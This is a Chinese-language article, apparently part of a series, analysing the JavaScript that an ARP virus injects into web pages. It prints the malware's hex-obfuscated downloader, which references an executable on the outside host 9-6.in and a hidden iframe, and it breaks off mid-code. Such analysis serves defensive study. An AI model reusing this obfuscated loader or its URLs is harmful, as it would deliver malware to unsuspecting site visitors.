arp病毒利用的Javascript技术

arp病毒利用的Javascript技术(2)     document.writeln("StartRun();");
    document.writeln("<\/script>")

其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉，真够狠的，呵呵，不这样怎么隐藏自己呢，哈哈！然后还有个JS文件 http://9-6.in/S368/NewJs2.js，先继续往下看，找到StartRun();运行一个函数，函数的主要作用是写COOKIE，日期为保存一天，然后还用隐藏框架加载了一个文件（http://9-6.IN/s368/T368.htm），其余就没有什么特别的了；

2、下载（http://9-6.in/S368/NewJs2.js）这个文件，代码如下：

StrInfo =  "\x3c\x73\x63\x72\x69\x70\x74\x3e\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x72\x65\x74\x75\x72\x6e \x74\x72\x75\x65\x3b\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
  "\x3c\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
  " \x44\x5a\x3d\'\\\x78\x36\x38\\\x78\x37\x34\\\x78\x37\x34\\\x78\x37\x30\\\x78\x33\x41\\\x78\x32\x46\\\x78\x32\x46\\\x78\x33\x39\\\x78\x32\x44\\\x78\x33\x36\\\x78\x32\x45\\\x78\x36\x39\\\x78\x36\x45\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  "\x66\x75\x6e\x63\x74\x69\x6f\x6e \x47\x6e\x4d\x73\x28\x6e\x29 " +"\n"+
  "\x7b " +"\n"+
  " \x76\x61\x72 \x6e\x75\x6d\x62\x65\x72\x4d\x73 \x3d \x4d\x61\x74\x68\x2e\x72\x61\x6e\x64\x6f\x6d\x28\x29\x2a\x6e\x3b" +"\n"+
  " \x72\x65\x74\x75\x72\x6e \'\\\x78\x37\x45\\\x78\x35\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x37\x30\'\x2b\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x75\x6d\x62\x65\x72\x4d\x73\x29\x2b\'\\\x78\x32\x45\\\x78\x37\x34\\\x78\x36\x44\\\x78\x37\x30\'\x3b" +"\n"+
  "\x7d " +"\n"+
  " \x74\x72\x79 " +"\n"+
  "\x7b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+